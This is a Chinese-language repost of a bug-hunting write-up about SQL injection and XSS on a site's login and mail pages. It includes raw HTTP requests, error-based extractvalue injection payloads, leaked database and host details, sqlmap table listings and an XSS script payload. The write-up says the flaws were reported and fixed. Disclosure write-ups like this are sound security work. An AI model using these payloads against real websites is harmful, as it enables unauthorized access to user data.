安全路透社
当前位置:安全路透社 > 网络转载 > 正文

挖洞经验 | 热门航空网站上的SQLi和XSS漏洞

1-0MYqEEJiDRbXOh7gFL_eVQ.jpeg

上个月为了练手,我选择了一个较受欢迎的网站(goodwesite.com)作为我的渗透测试对象。在漏洞挖掘过程中,我发现了该网站存在SQL注入和XSS漏洞。在正式开始文章内容前,让我们先来简单了解下该类漏洞的定义及产生原理。

什么是SQL注入漏洞?

此漏洞允许未经身份验证的用户,从受害者的网站数据库中窃取数据,包括敏感用户信息等。

漏洞产生原因?

之所以存在该漏洞是因为,goodwebsite在其登录界面对于用户输入的内容未进行正确的消毒处理导致的;这与在原始SQL查询中添加用户输入基本相同。此时黑客只需输入相应的渗透向量,就可能窃取走数据库中的哈希密码和其他敏感用户信息。

因此,在测试“登录”页面时我随机输入了个用户名和密码,并使用Burp Suite拦截其请求,接着我用Test%27来作为用户名,然后将请求转发给Burp Repeater,并收到一条错误的回复,Response中的错误仿佛像是在发起Request请求。

Request:
POST /register-login/check.php HTTP/1.1
Content-Length: 76
Content-Type: application/x-www-form-urlencoded
Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724
Host: goodwebsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
strLogin=Test%27&strPassword=k

Response Error:
<pre>PDOException Object ( [message:protected] => SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 [string:Exception:private] => [code:protected] => 42000 [file:protected] => /var/www/goodwebsite.server.com/register-login/send.php [line:protected] => 10 [trace:Exception:private] => Array ( [0] => Array ( [file] => /var/www/goodwebsite.server.com/register-login/send.php [line] => 10 [function] => query [class] => PDO [type] => -> [args] => Array ( [0] => SELECT * FROM `wp_ggg_user` WHERE `login` = Test’e ‘ and `valid_id` = 1; ) [previous:Exception:private] => [errorInfo] => Array ( [0] => 42000 [1] => 1064 [2] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Test’ ‘ and `valid_id` = 1’ at line 1 ) </pre>

根据初步的判断,我尝试了一些其他的SQL查询,我使用的第一个查询语句是 Test%27and extractvalue(1,concat(0x00a,database()))or’这次出现的错误与上述类似,只是出现了一点小的变化,错误的结尾部分如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite’
 )

从以上错误信息中,我们获取到了网站的数据库名称为goodwebsite

2---gsZFn3sz0VSFC7-yvlNg.png

除此之外,我还测试了以下的基本信息查询语句:

system_user()
@@version
database()
@@hostname
@@datadir
@@GLOBAL.VERSION
session_user()
schema()
UUID()

所以,接着我使用的查询语句是Test%27and extractvalue(1,concat(0x00a,system_user()))or’错误返回信息如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
goodwebsite@localhost’
 )

3-1uP10oQ92jrVp_o9qaryFg.png

通过以上查询测试,足以证明SQL注入漏洞的存在。为了获取更多的信息,我继续使用了第三个查询语句Test%27and extractvalue(1,concat(0x00a,@@hostname))or’错误返回信息如下: 

[previous:Exception:private] =>
    [errorInfo] => Array
        (
            [0] => HY000
            [1] => 1105
            [2] => XPATH syntax error: '
www2.rz.something.com'
        )

4-B7I0I6StpGH0116GVPv1DA.png

这里,我差点忘了查询目标数据库的版本信息,使用查询语句Test%27and extravtcalue(1,concat(0x00a,@@version))or’错误返回信息如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
5.1.73–1+deb6u1-log’
 )

5-BnxtcJThQ7gSIAsAvuKs9Q.png

最后,我尝试查询了Test%27and extractvalue(1,concat(0x00a,UUID())or’错误返回信息如下:

[previous:Exception:private] =>
 [errorInfo] => Array
 (
 [0] => HY000
 [1] => 1105
 [2] => XPATH syntax error: ‘
ab88…..UUDI’
 )

6-rBt0bmnXPLvmvmfLCN1zCQ.png

到目前为止,我已经获取到了许多有价值的信息。但这还远远不够,为了节省时间我决定使用SQLi扫描神器sqlmap;来帮助我完成后续的查询任务。以下是sqlmap为我返回的结果:

web server operating system: Linux Debian 6.0 (squeeze)
web application technology: Apache 2.2.16, PHP 5.4.42
back-end DBMS: MySQL >= 5.0
Database: goodwebsite
[18 tables]
+ — — — — — — — — — — — — -+
| wp_bms_log |
| wp_bms_quiz_lh_answer |
| wp_bms_quiz_lh_question |
| wp_bms_quiz_lh_quiz |
| wp_bms_statistics |
| wp_bms_user |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+ — — — — — — — — — — — — -+

Then:
Table: wp_users
[10 columns]
+ — — — — — — — — — — -+ — — — — — — — — — — -+
| Column | Type |
+ — — — — — — — — — — -+ — — — — — — — — — — -+
| display_name | varchar(250) |
| ID | bigint(20) unsigned |
| user_activation_key | varchar(255) |
| user_email | varchar(100) |
| user_login | varchar(60) |
| user_nicename | varchar(50) |
| user_pass | varchar(255) |
| user_registered | datetime |
| user_status | int(11) |
| user_url | varchar(100) |
+ — — — — — — — — — — -+ — — — — — — — — — — -+

7-ZAvh-r5PZvNLOMRo_C4Z0w.jpeg

但基于渗透测试的基本原则,我并没有继续深入下去。

XSS:

在完成对SQLi漏洞的测试后,接着我将测试目标转向了另一个页面goodwebsite.com/register-login/send.php。同样是一个POST请求,不同的是它带有一个strSendMail=的可输入变量。因此,我测试了以上相同的SQL语句,并获取到了同样的错误返回结果。接着,我测试了一个XSS的有效载荷e’%22()%26%25<acx><ScRiPt%20>prompt(/khizer/)</ScRiPt>,请求如下:

POST /register-login/send.php HTTP/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Referer: http://goodwebsite.com/
Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724
Host: goodwebsite.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

strSendMail=e’%22()%26%25<acx><ScRiPt%20>prompt(/khizer/)</ScRiPt>

弹框了!!!

8-EnII3d9bV3RbqeJIqqdnxw.png

之后,我第一时间报告了这两个漏洞的细节,他们在一小时内就进行了修复,并向我发送了感谢信。

9-YNIf4zicv1PwKdjyfTgjjw.jpeg

 *参考来源:medium,FB小编 secist 编译

未经允许不得转载:安全路透社 » 挖洞经验 | 热门航空网站上的SQLi和XSS漏洞

赞 (1)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册